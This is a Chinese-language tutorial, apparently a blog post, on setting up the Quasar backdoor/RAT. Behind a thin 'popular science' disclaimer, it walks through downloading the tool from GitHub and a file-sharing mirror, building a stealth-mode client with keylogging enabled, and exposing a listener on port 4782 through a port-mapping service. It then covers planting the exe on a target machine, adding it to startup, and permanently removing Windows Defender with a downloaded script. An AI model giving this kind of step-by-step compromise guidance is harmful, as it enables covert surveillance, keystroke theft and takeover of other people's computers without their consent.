首先声明本文仅作科普,若用作违法途径与作者无关
quasar是著名的开源后门软件,本文来分享它的基本使用、一些常见问题及其解决方法
功能演示
同时连接多设备
远程控屏(图像,操控键盘鼠标)
远程管理文件
键盘记录
下载:将此文件下载到控制端后配置(不是被控机)
Quasar v1.4.1下载地址:https://github.com/quasar/Quasar/releases/download/v1.4.1/Quasar.v1.4.1.ziphttps://github.com/quasar/Quasar/releases/download/v1.4.1/Quasar.v1.4.1.zip 国内下载速度过慢,复制链接到下面这个站下就好
GitHub 文件加速 - Sonder (akams.cn)https://github.akams.cn/
也可以用我传的蓝奏云
Quasar.v1.4.1.zip - 蓝奏云文件大小:3.3 M|https://wwzc.lanzoub.com/i52Wq28hycti
初始化
下载解压之后会要你创建一个证书文件,相当于控制端的识别码
点Create,然后会卡好一会,这是在生成秘钥,可能会未响应,等它出现文字就好了
save保存,确定后进入主界面
创建引导程序
点击上方的builder开始创建引导程序
基本设置:命名客户端,勾选下方的隐形模式保证最佳效果
连接设置:此处需要一个公网IP,可以使用映射软件来获取
在上方分别填入你的IP与其外部端口,(不要照着我的填,看教程自己搞)
樱花映射使用方法-CSDN博客https://blog.csdn.net/weixin_56876407/article/details/141603052
注意创建隧道时内部端口填写4782
在主程序上方的setting处占用4782端口监听,打开(变为下图这样即可)
然后在此处填写IP(也可以是域名)与端口(一定要是外部端口)
比如这就是一组可用的连接
安装设置:照图中的说明搞
程序信息设置:不用动,没人看
键盘记录功能:打开就好
全部完成后,点击Build Client,找到生成的exe文件即可
部署与后续配置
把生成的程序复制到目标机器,运行(如果前面的安装位置为program files和system的话要用管理员权限运行)
然后就可以在控制端看到被控机已连接,右键被控机可以呼出操作项
然后来解决几个问题
1.开机自启
点击File Manager,进入文件管理,找到主程序
不同安装位置对应的具体路径如下
AppData目录:C:\Users\被控机用户名\AppData\Roaming
Program Files目录:C盘根目录
system32目录:C:\Windows\system32
找到程序本体,右键加入启动项,确认
2.反制杀软
Windows的官方杀软Defender在大多数win10都会自动装,可以把它永久移除
WindowsDefenderRemoveScript.zip - 蓝奏云文件大小:20.2 K|https://wwzc.lanzoub.com/iotTe28i3lgj 解压之后用管理员权限运行bat脚本即可(直接运行exe没有作用)
附上一些翻译